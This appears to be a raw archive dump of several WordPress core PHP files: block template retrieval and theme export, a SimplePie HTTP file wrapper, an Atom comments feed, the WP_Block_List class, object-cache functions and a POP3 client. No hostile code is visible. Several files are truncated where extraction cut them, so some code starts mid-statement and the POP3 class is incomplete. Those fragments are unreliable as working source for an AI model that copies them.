=== array_search( wp_get_theme()->get_stylesheet() . '//' . $template_file['slug'], wp_list_pluck( $query_result, 'id' ), true ); $fits_slug_query = ! isset( $query['slug__in'] ) || in_array( $template_file['slug'], $query['slug__in'], true ); $fits_area_query = ! isset( $query['area'] ) || $template_file['area'] === $query['area']; $should_include = $is_not_custom && $fits_slug_query && $fits_area_query; if ( $should_include ) { $query_result[] = $template; } } } /** * Filters the array of queried block templates array after they've been fetched. * * @since 5.9.0 * * @param WP_Block_Template[] $query_result Array of found block templates. * @param array $query { * Optional. Arguments to retrieve templates. * * @type array $slug__in List of slugs to include. * @type int $wp_id Post ID of customized template. * } * @param string $template_type wp_template or wp_template_part. */ return apply_filters( 'get_block_templates', $query_result, $query, $template_type ); } /** * Retrieves a single unified template object using its id. * * @since 5.8.0 * * @param string $id Template unique identifier (example: theme_slug//template_slug). * @param string $template_type Optional. Template type: `'wp_template'` or '`wp_template_part'`. * Default `'wp_template'`. * * @return WP_Block_Template|null Template. */ function get_block_template( $id, $template_type = 'wp_template' ) { /** *Filters the block template object before the query takes place. * * Return a non-null value to bypass the WordPress queries. * * @since 5.9.0 * * @param WP_Block_Template|null $block_template Return block template object to short-circuit the default query, * or null to allow WP to run its normal queries. * @param string $id Template unique identifier (example: theme_slug//template_slug). * @param string $template_type Template type: `'wp_template'` or '`wp_template_part'`. */ $block_template = apply_filters( 'pre_get_block_template', null, $id, $template_type ); if ( ! is_null( $block_template ) ) { return $block_template; } $parts = explode( '//', $id, 2 ); if ( count( $parts ) < 2 ) { return null; } list( $theme, $slug ) = $parts; $wp_query_args = array( 'post_name__in' => array( $slug ), 'post_type' => $template_type, 'post_status' => array( 'auto-draft', 'draft', 'publish', 'trash' ), 'posts_per_page' => 1, 'no_found_rows' => true, 'tax_query' => array( array( 'taxonomy' => 'wp_theme', 'field' => 'name', 'terms' => $theme, ), ), ); $template_query = new WP_Query( $wp_query_args ); $posts = $template_query->posts; if ( count( $posts ) > 0 ) { $template = _build_block_template_result_from_post( $posts[0] ); if ( ! is_wp_error( $template ) ) { return $template; } } $block_template = get_block_file_template( $id, $template_type ); /** * Filters the queried block template object after it's been fetched. * * @since 5.9.0 * * @param WP_Block_Template|null $block_template The found block template, or null if there isn't one. * @param string $id Template unique identifier (example: theme_slug//template_slug). * @param array $template_type Template type: `'wp_template'` or '`wp_template_part'`. */ return apply_filters( 'get_block_template', $block_template, $id, $template_type ); } /** * Retrieves a single unified template object using its id. * * @since 5.9.0 * * @param string $id Template unique identifier (example: theme_slug//template_slug). * @param string $template_type Optional. Template type: `'wp_template'` or '`wp_template_part'`. * Default `'wp_template'`. * @return WP_Block_Template|null The found block template, or null if there isn't one. */ function get_block_file_template( $id, $template_type = 'wp_template' ) { /** * Filters the block templates array before the query takes place. * * Return a non-null value to bypass the WordPress queries. * * @since 5.9.0 * * @param WP_Block_Template|null $block_template Return block template object to short-circuit the default query, * or null to allow WP to run its normal queries. * @param string $id Template unique identifier (example: theme_slug//template_slug). * @param string $template_type Template type: `'wp_template'` or '`wp_template_part'`. */ $block_template = apply_filters( 'pre_get_block_file_template', null, $id, $template_type ); if ( ! is_null( $block_template ) ) { return $block_template; } $parts = explode( '//', $id, 2 ); if ( count( $parts ) < 2 ) { /** This filter is documented in wp-includes/block-template-utils.php */ return apply_filters( 'get_block_file_template', null, $id, $template_type ); } list( $theme, $slug ) = $parts; if ( wp_get_theme()->get_stylesheet() !== $theme ) { /** This filter is documented in wp-includes/block-template-utils.php */ return apply_filters( 'get_block_file_template', null, $id, $template_type ); } $template_file = _get_block_template_file( $template_type, $slug ); if ( null === $template_file ) { /** This filter is documented in wp-includes/block-template-utils.php */ return apply_filters( 'get_block_file_template', null, $id, $template_type ); } $block_template = _build_block_template_result_from_file( $template_file, $template_type ); /** * Filters the array of queried block templates array after they've been fetched. * * @since 5.9.0 * * @param WP_Block_Template|null $block_template The found block template, or null if there is none. * @param string $id Template unique identifier (example: theme_slug//template_slug). * @param string $template_type Template type: `'wp_template'` or '`wp_template_part'`. */ return apply_filters( 'get_block_file_template', $block_template, $id, $template_type ); } /** * Print a template-part. * * @since 5.9.0 * * @param string $part The template-part to print. Use "header" or "footer". */ function block_template_part( $part ) { $template_part = get_block_template( get_stylesheet() . '//' . $part, 'wp_template_part' ); if ( ! $template_part || empty( $template_part->content ) ) { return; } echo do_blocks( $template_part->content ); } /** * Print the header template-part. * * @since 5.9.0 */ function block_header_area() { block_template_part( 'header' ); } /** * Print the footer template-part. * * @since 5.9.0 */ function block_footer_area() { block_template_part( 'footer' ); } /** * Filters theme directories that should be ignored during export. * * @since 6.0.0 * * @param string $path The path of the file in the theme. * @return Bool Whether this file is in an ignored directory. */ function wp_is_theme_directory_ignored( $path ) { $directories_to_ignore = array( '.svn', '.git', '.hg', '.bzr', 'node_modules', 'vendor' ); foreach ( $directories_to_ignore as $directory ) { if ( strpos( $path, $directory ) === 0 ) { return true; } } return false; } /** * Creates an export of the current templates and * template parts from the site editor at the * specified path in a ZIP file. * * @since 5.9.0 * @since 6.0.0 Adds the whole theme to the export archive. * * @return WP_Error|string Path of the ZIP file or error on failure. */ function wp_generate_block_templates_export_file() { if ( ! class_exists( 'ZipArchive' ) ) { return new WP_Error( 'missing_zip_package', __( 'Zip Export not supported.' ) ); } $obscura = wp_generate_password( 12, false, false ); $theme_name = basename( get_stylesheet() ); $filename = get_temp_dir() . $theme_name . $obscura . '.zip'; $zip = new ZipArchive(); if ( true !== $zip->open( $filename, ZipArchive::CREATE | ZipArchive::OVERWRITE ) ) { return new WP_Error( 'unable_to_create_zip', __( 'Unable to open export file (archive) for writing.' ) ); } $zip->addEmptyDir( 'templates' ); $zip->addEmptyDir( 'parts' ); // Get path of the theme. $theme_path = wp_normalize_path( get_stylesheet_directory() ); // Create recursive directory iterator. $theme_files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $theme_path ), RecursiveIteratorIterator::LEAVES_ONLY ); // Make a copy of the current theme. foreach ( $theme_files as $file ) { // Skip directories as they are added automatically. if ( ! $file->isDir() ) { // Get real and relative path for current file. $file_path = wp_normalize_path( $file ); $relative_path = substr( $file_path, strlen( $theme_path ) + 1 ); if ( ! wp_is_theme_directory_ignored( $relative_path ) ) { $zip->addFile( $file_path, $relative_path ); } } } // Load templates into the zip file. $templates = get_block_templates(); foreach ( $templates as $template ) { $template->content = _remove_theme_attribute_in_block_template_content( $template->content ); $zip->addFromString( 'templates/' . $template->slug . '.html', $template->content ); } // Load template parts into the zip file. $template_parts = get_block_templates( array(), 'wp_template_part' ); foreach ( $template_parts as $template_part ) { $zip->addFromString( 'parts/' . $template_part->slug . '.html', $template_part->content ); } // Load theme.json into the zip file. $tree = WP_Theme_JSON_Resolver::get_theme_data( array(), array( 'with_supports' => false ) ); // Merge with user data. $tree->merge( WP_Theme_JSON_Resolver::get_user_data() ); $theme_json_raw = $tree->get_data(); // If a version is defined, add a schema. if ( $theme_json_raw['version'] ) { global $wp_version; $theme_json_version = 'wp/' . substr( $wp_version, 0, 3 ); $schema = array( '$schema' => 'https://schemas.wp.org/' . $theme_json_version . '/theme.json' ); $theme_json_raw = array_merge( $schema, $theme_json_raw ); } // Convert to a string. $theme_json_encoded = wp_json_encode( $theme_json_raw, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE ); // Replace 4 spaces with a tab. $theme_json_tabbed = preg_replace( '~(?:^|\G)\h{4}~m', "\t", $theme_json_encoded ); // Add the theme.json file to the zip. $zip->addFromString( 'theme.json', $theme_json_tabbed ); // Save changes to the zip file. $zip->close(); return $filename; } class-wp-simplepie-file.php000064400000006273147177035010011725 0ustar00url = $url; $this->timeout = $timeout; $this->redirects = $redirects; $this->headers = $headers; $this->useragent = $useragent; $this->method = SIMPLEPIE_FILE_SOURCE_REMOTE; if ( preg_match( '/^http(s)?:\/\//i', $url ) ) { $args = array( 'timeout' => $this->timeout, 'redirection' => $this->redirects, ); if ( ! empty( $this->headers ) ) { $args['headers'] = $this->headers; } if ( SIMPLEPIE_USERAGENT != $this->useragent ) { // Use default WP user agent unless custom has been specified. $args['user-agent'] = $this->useragent; } $res = wp_safe_remote_request( $url, $args ); if ( is_wp_error( $res ) ) { $this->error = 'WP HTTP Error: ' . $res->get_error_message(); $this->success = false; } else { $this->headers = wp_remote_retrieve_headers( $res ); /* * SimplePie expects multiple headers to be stored as a comma-separated string, * but `wp_remote_retrieve_headers()` returns them as an array, so they need * to be converted. * * The only exception to that is the `content-type` header, which should ignore * any previous values and only use the last one. * * @see SimplePie_HTTP_Parser::new_line(). */ foreach ( $this->headers as $name => $value ) { if ( ! is_array( $value ) ) { continue; } if ( 'content-type' === $name ) { $this->headers[ $name ] = array_pop( $value ); } else { $this->headers[ $name ] = implode( ', ', $value ); } } $this->body = wp_remote_retrieve_body( $res ); $this->status_code = wp_remote_retrieve_response_code( $res ); } } else { $this->error = ''; $this->success = false; } } } feed-atom-comments.php000064400000012504147177035010010750 0ustar00'; /** This action is documented in wp-includes/feed-rss2.php */ do_action( 'rss_tag_pre', 'atom-comments' ); ?> > <?php if ( is_singular() ) { /* translators: Comments feed title. %s: Post title. */ printf( ent2ncr( __( 'Comments on %s' ) ), get_the_title_rss() ); } elseif ( is_search() ) { /* translators: Comments feed title. 1: Site title, 2: Search query. */ printf( ent2ncr( __( 'Comments for %1$s searching on %2$s' ) ), get_bloginfo_rss( 'name' ), get_search_query() ); } else { /* translators: Comments feed title. %s: Site title. */ printf( ent2ncr( __( 'Comments for %s' ) ), get_wp_title_rss() ); } ?> comment_post_ID ); $GLOBALS['post'] = $comment_post; ?> <?php if ( ! is_singular() ) { $title = get_the_title( $comment_post->ID ); /** This filter is documented in wp-includes/feed.php */ $title = apply_filters( 'the_title_rss', $title ); /* translators: Individual comment title. 1: Post title, 2: Comment author name. */ printf( ent2ncr( __( 'Comment on %1$s by %2$s' ) ), $title, get_comment_author_rss() ); } else { /* translators: Comment author title. %s: Comment author name. */ printf( ent2ncr( __( 'By: %s' ) ), get_comment_author_rss() ); } ?> ' . get_comment_author_url() . '';} ?> ]]> ]]> comment_parent ) : // This comment is top-level. ?> comment_parent ); /* * The rel attribute below and the id tag above should be GUIDs, * but WP doesn't create them for comments (unlike posts). * Either way, it's more important that they both use the same system. */ ?> comment_ID, $comment_post->ID ); ?> class-wp-block-list.php000064400000011163147177035010011056 0ustar00blocks = $blocks; $this->available_context = $available_context; $this->registry = $registry; } /** * Returns true if a block exists by the specified block index, or false * otherwise. * * @since 5.5.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetexists.php * * @param string $index Index of block to check. * @return bool Whether block exists. */ #[ReturnTypeWillChange] public function offsetExists( $index ) { return isset( $this->blocks[ $index ] ); } /** * Returns the value by the specified block index. * * @since 5.5.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetget.php * * @param string $index Index of block value to retrieve. * @return mixed|null Block value if exists, or null. */ #[ReturnTypeWillChange] public function offsetGet( $index ) { $block = $this->blocks[ $index ]; if ( isset( $block ) && is_array( $block ) ) { $block = new WP_Block( $block, $this->available_context, $this->registry ); $this->blocks[ $index ] = $block; } return $block; } /** * Assign a block value by the specified block index. * * @since 5.5.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetset.php * * @param string $index Index of block value to set. * @param mixed $value Block value. */ #[ReturnTypeWillChange] public function offsetSet( $index, $value ) { if ( is_null( $index ) ) { $this->blocks[] = $value; } else { $this->blocks[ $index ] = $value; } } /** * Unset a block. * * @since 5.5.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetunset.php * * @param string $index Index of block value to unset. */ #[ReturnTypeWillChange] public function offsetUnset( $index ) { unset( $this->blocks[ $index ] ); } /** * Rewinds back to the first element of the Iterator. * * @since 5.5.0 * * @link https://www.php.net/manual/en/iterator.rewind.php */ #[ReturnTypeWillChange] public function rewind() { reset( $this->blocks ); } /** * Returns the current element of the block list. * * @since 5.5.0 * * @link https://www.php.net/manual/en/iterator.current.php * * @return mixed Current element. */ #[ReturnTypeWillChange] public function current() { return $this->offsetGet( $this->key() ); } /** * Returns the key of the current element of the block list. * * @since 5.5.0 * * @link https://www.php.net/manual/en/iterator.key.php * * @return mixed Key of the current element. */ #[ReturnTypeWillChange] public function key() { return key( $this->blocks ); } /** * Moves the current position of the block list to the next element. * * @since 5.5.0 * * @link https://www.php.net/manual/en/iterator.next.php */ #[ReturnTypeWillChange] public function next() { next( $this->blocks ); } /** * Checks if current position is valid. * * @since 5.5.0 * * @link https://www.php.net/manual/en/iterator.valid.php */ #[ReturnTypeWillChange] public function valid() { return null !== key( $this->blocks ); } /** * Returns the count of blocks in the list. * * @since 5.5.0 * * @link https://www.php.net/manual/en/countable.count.php * * @return int Block count. */ #[ReturnTypeWillChange] public function count() { return count( $this->blocks ); } } cache.php000064400000027636147177035010006343 0ustar00add( $key, $data, $group, (int) $expire ); } /** * Adds multiple values to the cache in one call. * * @since 6.0.0 * * @see WP_Object_Cache::add_multiple() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param array $data Array of keys and values to be set. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false if cache key and group already exist. */ function wp_cache_add_multiple( array $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->add_multiple( $data, $group, $expire ); } /** * Replaces the contents of the cache with new data. * * @since 2.0.0 * * @see WP_Object_Cache::replace() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The key for the cache data that should be replaced. * @param mixed $data The new data to store in the cache. * @param string $group Optional. The group for the cache data that should be replaced. * Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True if contents were replaced, false if original value does not exist. */ function wp_cache_replace( $key, $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->replace( $key, $data, $group, (int) $expire ); } /** * Saves the data to the cache. * * Differs from wp_cache_add() and wp_cache_replace() in that it will always write data. * * @since 2.0.0 * * @see WP_Object_Cache::set() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The cache key to use for retrieval later. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Enables the same key * to be used across groups. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True on success, false on failure. */ function wp_cache_set( $key, $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->set( $key, $data, $group, (int) $expire ); } /** * Sets multiple values to the cache in one call. * * @since 6.0.0 * * @see WP_Object_Cache::set_multiple() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param array $data Array of keys and values to be set. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false on failure. */ function wp_cache_set_multiple( array $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->set_multiple( $data, $group, $expire ); } /** * Retrieves the cache contents from the cache by key and group. * * @since 2.0.0 * * @see WP_Object_Cache::get() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The key under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param bool $force Optional. Whether to force an update of the local cache * from the persistent cache. Default false. * @param bool $found Optional. Whether the key was found in the cache (passed by reference). * Disambiguates a return of false, a storable value. Default null. * @return mixed|false The cache contents on success, false on failure to retrieve contents. */ function wp_cache_get( $key, $group = '', $force = false, &$found = null ) { global $wp_object_cache; return $wp_object_cache->get( $key, $group, $force, $found ); } /** * Retrieves multiple values from the cache in one call. * * @since 5.5.0 * * @see WP_Object_Cache::get_multiple() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param array $keys Array of keys under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param bool $force Optional. Whether to force an update of the local cache * from the persistent cache. Default false. * @return array Array of return values, grouped by key. Each value is either * the cache contents on success, or false on failure. */ function wp_cache_get_multiple( $keys, $group = '', $force = false ) { global $wp_object_cache; return $wp_object_cache->get_multiple( $keys, $group, $force ); } /** * Removes the cache contents matching key and group. * * @since 2.0.0 * * @see WP_Object_Cache::delete() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key What the contents in the cache are called. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @return bool True on successful removal, false on failure. */ function wp_cache_delete( $key, $group = '' ) { global $wp_object_cache; return $wp_object_cache->delete( $key, $group ); } /** * Deletes multiple values from the cache in one call. * * @since 6.0.0 * * @see WP_Object_Cache::delete_multiple() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param array $keys Array of keys under which the cache to deleted. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false if the contents were not deleted. */ function wp_cache_delete_multiple( array $keys, $group = '' ) { global $wp_object_cache; return $wp_object_cache->delete_multiple( $keys, $group ); } /** * Increments numeric cache item's value. * * @since 3.3.0 * * @see WP_Object_Cache::incr() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The key for the cache contents that should be incremented. * @param int $offset Optional. The amount by which to increment the item's value. * Default 1. * @param string $group Optional. The group the key is in. Default empty. * @return int|false The item's new value on success, false on failure. */ function wp_cache_incr( $key, $offset = 1, $group = '' ) { global $wp_object_cache; return $wp_object_cache->incr( $key, $offset, $group ); } /** * Decrements numeric cache item's value. * * @since 3.3.0 * * @see WP_Object_Cache::decr() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The cache key to decrement. * @param int $offset Optional. The amount by which to decrement the item's value. * Default 1. * @param string $group Optional. The group the key is in. Default empty. * @return int|false The item's new value on success, false on failure. */ function wp_cache_decr( $key, $offset = 1, $group = '' ) { global $wp_object_cache; return $wp_object_cache->decr( $key, $offset, $group ); } /** * Removes all cache items. * * @since 2.0.0 * * @see WP_Object_Cache::flush() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @return bool True on success, false on failure. */ function wp_cache_flush() { global $wp_object_cache; return $wp_object_cache->flush(); } /** * Removes all cache items from the in-memory runtime cache. * * @since 6.0.0 * * @see WP_Object_Cache::flush() * * @return bool True on success, false on failure. */ function wp_cache_flush_runtime() { return wp_cache_flush(); } /** * Closes the cache. * * This function has ceased to do anything since WordPress 2.5. The * functionality was removed along with the rest of the persistent cache. * * This does not mean that plugins can't implement this function when they need * to make sure that the cache is cleaned up after WordPress no longer needs it. * * @since 2.0.0 * * @return true Always returns true. */ function wp_cache_close() { return true; } /** * Adds a group or set of groups to the list of global groups. * * @since 2.6.0 * * @see WP_Object_Cache::add_global_groups() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param string|string[] $groups A group or an array of groups to add. */ function wp_cache_add_global_groups( $groups ) { global $wp_object_cache; $wp_object_cache->add_global_groups( $groups ); } /** * Adds a group or set of groups to the list of non-persistent groups. * * @since 2.6.0 * * @param string|string[] $groups A group or an array of groups to add. */ function wp_cache_add_non_persistent_groups( $groups ) { // Default cache doesn't persist so nothing to do here. } /** * Switches the internal blog ID. * * This changes the blog id used to create keys in blog specific groups. * * @since 3.5.0 * * @see WP_Object_Cache::switch_to_blog() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int $blog_id Site ID. */ function wp_cache_switch_to_blog( $blog_id ) { global $wp_object_cache; $wp_object_cache->switch_to_blog( $blog_id ); } /** * Resets internal cache keys and structures. * * If the cache back end uses global blog or site IDs as part of its cache keys, * this function instructs the back end to reset those keys and perform any cleanup * since blog or site IDs have changed since cache init. * * This function is deprecated. Use wp_cache_switch_to_blog() instead of this * function when preparing the cache for a blog switch. For clearing the cache * during unit tests, consider using wp_cache_init(). wp_cache_init() is not * recommended outside of unit tests as the performance penalty for using it is high. * * @since 3.0.0 * @deprecated 3.5.0 Use wp_cache_switch_to_blog() * @see WP_Object_Cache::reset() * * @global WP_Object_Cache $wp_object_cache Object cache global instance. */ function wp_cache_reset() { _deprecated_function( __FUNCTION__, '3.5.0', 'wp_cache_switch_to_blog()' ); global $wp_object_cache; $wp_object_cache->reset(); } class-pop3.php000064400000050545147177035010007257 0ustar00BUFFER,"integer"); if( !empty($server) ) { // Do not allow programs to alter MAILSERVER // if it is already specified. They can get around // this if they -really- want to, so don't count on it. if(empty($this->MAILSERVER)) $this->MAILSERVER = $server; } if(!empty($timeout)) { settype($timeout,"integer"); $this->TIMEOUT = $timeout; set_time_limit($timeout); } return true; } /** * PHP4 constructor. */ public function POP3( $server = '', $timeout = '' ) { self::__construct( $server, $timeout ); } function update_timer () { set_time_limit($this->TIMEOUT); return true; } function connect ($server, $port = 110) { // Opens a socket to the specified server. Unless overridden, // port defaults to 110. Returns true on success, false on fail // If MAILSERVER is set, override $server with its value. if (!isset($port) || !$port) {$port = 110;} if(!empty($this->MAILSERVER)) $server = $this->MAILSERVER; if(empty($server)){ $this->ERROR = "POP3 connect: " . _("No server specified"); unset($this->FP); return false; } $fp = @fsockopen("$server", $port, $errno, $errstr); if(!$fp) { $this->ERROR = "POP3 connect: " . _("Error ") . "[$errno] [$errstr]"; unset($this->FP); return false; } socket_set_blocking($fp,-1); $this->update_timer(); $reply = fgets($fp,$this->BUFFER); $reply = $this->strip_clf($reply); if($this->DEBUG) error_log("POP3 SEND [connect: $server] GOT [$reply]",0); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 connect: " . _("Error ") . "[$reply]"; unset($this->FP); return false; } $this->FP = $fp; $this->BANNER = $this->parse_banner($reply); return true; } function user ($user = "") { // Sends the USER command, returns true or false if( empty($user) ) { $this->ERROR = "POP3 user: " . _("no login ID submitted"); return false; } elseif(!isset($this->FP)) { $this->ERROR = "POP3 user: " . _("connection not established"); return false; } else { $reply = $this->send_cmd("USER $user"); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 user: " . _("Error ") . "[$reply]"; return false; } else return true; } } function pass ($pass = "") { // Sends the PASS command, returns # of msgs in mailbox, // returns false (undef) on Auth failure if(empty($pass)) { $this->ERROR = "POP3 pass: " . _("No password submitted"); return false; } elseif(!isset($this->FP)) { $this->ERROR = "POP3 pass: " . _("connection not established"); return false; } else { $reply = $this->send_cmd("PASS $pass"); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 pass: " . _("Authentication failed") . " [$reply]"; $this->quit(); return false; } else { // Auth successful. $count = $this->last("count"); $this->COUNT = $count; return $count; } } } function apop ($login,$pass) { // Attempts an APOP login. If this fails, it'll // try a standard login. YOUR SERVER MUST SUPPORT // THE USE OF THE APOP COMMAND! // (apop is optional per rfc1939) if(!isset($this->FP)) { $this->ERROR = "POP3 apop: " . _("No connection to server"); return false; } elseif(!$this->ALLOWAPOP) { $retVal = $this->login($login,$pass); return $retVal; } elseif(empty($login)) { $this->ERROR = "POP3 apop: " . _("No login ID submitted"); return false; } elseif(empty($pass)) { $this->ERROR = "POP3 apop: " . _("No password submitted"); return false; } else { $banner = $this->BANNER; if( (!$banner) or (empty($banner)) ) { $this->ERROR = "POP3 apop: " . _("No server banner") . ' - ' . _("abort"); $retVal = $this->login($login,$pass); return $retVal; } else { $AuthString = $banner; $AuthString .= $pass; $APOPString = md5($AuthString); $cmd = "APOP $login $APOPString"; $reply = $this->send_cmd($cmd); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 apop: " . _("apop authentication failed") . ' - ' . _("abort"); $retVal = $this->login($login,$pass); return $retVal; } else { // Auth successful. $count = $this->last("count"); $this->COUNT = $count; return $count; } } } } function login ($login = "", $pass = "") { // Sends both user and pass. Returns # of msgs in mailbox or // false on failure (or -1, if the error occurs while getting // the number of messages.) if( !isset($this->FP) ) { $this->ERROR = "POP3 login: " . _("No connection to server"); return false; } else { $fp = $this->FP; if( !$this->user( $login ) ) { // Preserve the error generated by user() return false; } else { $count = $this->pass($pass); if( (!$count) || ($count == -1) ) { // Preserve the error generated by last() and pass() return false; } else return $count; } } } function top ($msgNum, $numLines = "0") { // Gets the header and first $numLines of the msg body // returns data in an array with each returned line being // an array element. If $numLines is empty, returns // only the header information, and none of the body. if(!isset($this->FP)) { $this->ERROR = "POP3 top: " . _("No connection to server"); return false; } $this->update_timer(); $fp = $this->FP; $buffer = $this->BUFFER; $cmd = "TOP $msgNum $numLines"; fwrite($fp, "TOP $msgNum $numLines\r\n"); $reply = fgets($fp, $buffer); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } if(!$this->is_ok($reply)) { $this->ERROR = "POP3 top: " . _("Error ") . "[$reply]"; return false; } $count = 0; $MsgArray = array(); $line = fgets($fp,$buffer); while ( !preg_match('/^\.\r\n/',$line)) { $MsgArray[$count] = $line; $count++; $line = fgets($fp,$buffer); if(empty($line)) { break; } } return $MsgArray; } function pop_list ($msgNum = "") { // If called with an argument, returns that msgs' size in octets // No argument returns an associative array of undeleted // msg numbers and their sizes in octets if(!isset($this->FP)) { $this->ERROR = "POP3 pop_list: " . _("No connection to server"); return false; } $fp = $this->FP; $Total = $this->COUNT; if( (!$Total) or ($Total == -1) ) { return false; } if($Total == 0) { return array("0","0"); // return -1; // mailbox empty } $this->update_timer(); if(!empty($msgNum)) { $cmd = "LIST $msgNum"; fwrite($fp,"$cmd\r\n"); $reply = fgets($fp,$this->BUFFER); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } if(!$this->is_ok($reply)) { $this->ERROR = "POP3 pop_list: " . _("Error ") . "[$reply]"; return false; } list($junk,$num,$size) = preg_split('/\s+/',$reply); return $size; } $cmd = "LIST"; $reply = $this->send_cmd($cmd); if(!$this->is_ok($reply)) { $reply = $this->strip_clf($reply); $this->ERROR = "POP3 pop_list: " . _("Error ") . "[$reply]"; return false; } $MsgArray = array(); $MsgArray[0] = $Total; for($msgC=1;$msgC <= $Total; $msgC++) { if($msgC > $Total) { break; } $line = fgets($fp,$this->BUFFER); $line = $this->strip_clf($line); if(strpos($line, '.') === 0) { $this->ERROR = "POP3 pop_list: " . _("Premature end of list"); return false; } list($thisMsg,$msgSize) = preg_split('/\s+/',$line); settype($thisMsg,"integer"); if($thisMsg != $msgC) { $MsgArray[$msgC] = "deleted"; } else { $MsgArray[$msgC] = $msgSize; } } return $MsgArray; } function get ($msgNum) { // Retrieve the specified msg number. Returns an array // where each line of the msg is an array element. if(!isset($this->FP)) { $this->ERROR = "POP3 get: " . _("No connection to server"); return false; } $this->update_timer(); $fp = $this->FP; $buffer = $this->BUFFER; $cmd = "RETR $msgNum"; $reply = $this->send_cmd($cmd); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 get: " . _("Error ") . "[$reply]"; return false; } $count = 0; $MsgArray = array(); $line = fgets($fp,$buffer); while ( !preg_match('/^\.\r\n/',$line)) { if ( $line[0] == '.' ) { $line = substr($line,1); } $MsgArray[$count] = $line; $count++; $line = fgets($fp,$buffer); if(empty($line)) { break; } } return $MsgArray; } function last ( $type = "count" ) { // Returns the highest msg number in the mailbox. // returns -1 on error, 0+ on success, if type != count // results in a popstat() call (2 element array returned) $last = -1; if(!isset($this->FP)) { $this->ERROR = "POP3 last: " . _("No connection to server"); return $last; } $reply = $this->send_cmd("STAT"); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 last: " . _("Error ") . "[$reply]"; return $last; } $Vars = preg_split('/\s+/',$reply); $count = $Vars[1]; $size = $Vars[2]; settype($count,"integer"); settype($size,"integer"); if($type != "count") { return array($count,$size); } return $count; } function reset () { // Resets the status of the remote server. This includes // resetting the status of ALL msgs to not be deleted. // This method automatically closes the connection to the server. if(!isset($this->FP)) { $this->ERROR = "POP3 reset: " . _("No connection to server"); return false; } $reply = $this->send_cmd("RSET"); if(!$this->is_ok($reply)) { // The POP3 RSET command -never- gives a -ERR // response - if it ever does, something truly // wild is going on. $this->ERROR = "POP3 reset: " . _("Error ") . "[$reply]"; @error_log("POP3 reset: ERROR [$reply]",0); } $this->quit(); return true; } function send_cmd ( $cmd = "" ) { // Sends a user defined command string to the // POP server and returns the results. Useful for // non-compliant or custom POP servers. // Do NOT includ the \r\n as part of your command // string - it will be appended automatically. // The return value is a standard fgets() call, which // will read up to $this->BUFFER bytes of data, until it // encounters a new line, or EOF, whichever happens first. // This method works best if $cmd responds with only // one line of data. if(!isset($this->FP)) { $this->ERROR = "POP3 send_cmd: " . _("No connection to server"); return false; } if(empty($cmd)) { $this->ERROR = "POP3 send_cmd: " . _("Empty command string"); return ""; } $fp = $this->FP; $buffer = $this->BUFFER; $this->update_timer(); fwrite($fp,"$cmd\r\n"); $reply = fgets($fp,$buffer); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } return $reply; } function quit() { // Closes the connection to the POP3 server, deleting // any msgs marked as deleted. if(!isset($this->FP)) { $this->ERROR = "POP3 quit: " . _("connection does not exist"); return false; } $fp = $this->FP; $cmd = "QUIT"; fwrite($fp,"$cmd\r\n"); $reply = fgets($fp,$this->BUFFER); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } fclose($fp); unset($this->FP); return true; } function popstat () { // Returns an array of 2 elements. The number of undeleted // msgs in the mailbox, and the size of the mbox in octets. $PopArray = $this->last("array"); if($PopArray == -1) { return false; } if( (!$PopArray) or (empty($PopArray)) ) { return false; } return $PopArray; } function uidl ($msgNum = "") { // Returns the UIDL of the msg specified. If called with // no arguments, returns an associative array where each // undeleted msg num is a key, and the msg's uidl is the element // Array element 0 will contain the total number of msgs 